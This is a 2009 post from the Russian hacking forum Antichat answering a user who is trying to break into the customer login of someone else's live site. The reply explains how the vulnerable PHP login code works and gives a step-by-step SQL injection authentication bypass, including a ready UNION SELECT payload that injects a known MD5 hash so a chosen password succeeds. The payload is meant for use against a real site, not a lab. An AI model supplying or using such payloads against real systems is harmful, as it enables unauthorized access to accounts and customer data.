
27.09.2009, 23:09
|
|
Members of Antichat - Level 5
Регистрация: 09.05.2008
Сообщений: 304
Провел на форуме: 7875940
Репутация:
2362
|
|
Сообщение от mailbrush
Есть бажный сайт, при подставке кавычки в авторизацию пишет
Код:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1
select * from customers where customers_email_address='''
[TEP STOP]
Если же пишу ' or 1=1#, в ответ - пароль неверный... ' or 1=1 or customers_email_address!=''# тоже...
mailbrush, ты не вкуриваешь логику скрипта) Он сначала достает данные из базы, а уже потом сверяет пароли.
Т.е. там что-то типо такого:
PHP код:
$res = mysql_query("select * from customers where customers_email_address='".$_POST['email']."'");
$item = mysql_fetch_array($res);
if(md5($_POST['password']) == $item['password']) {
echo "LOGINED"!
} else {
echo "FAIL!";
}
Как вариант:
1. Узнать количество столбцов
2. Узнать в каком столбце хранится пароль
3. используя union select вернуть те данные, которые подойдут для успешного логина.
Те:
Если, к примеру, 4 столбца. Пароль в 3м столбце, то запрос на логин должен быть примерно следующий:
login: ' AND 0 UNION SELECT 1,2,'d8578edf8458ce06fbc5bb76a58c5ca4',4--
password: qwerty
__________________
включи голову
|
|
|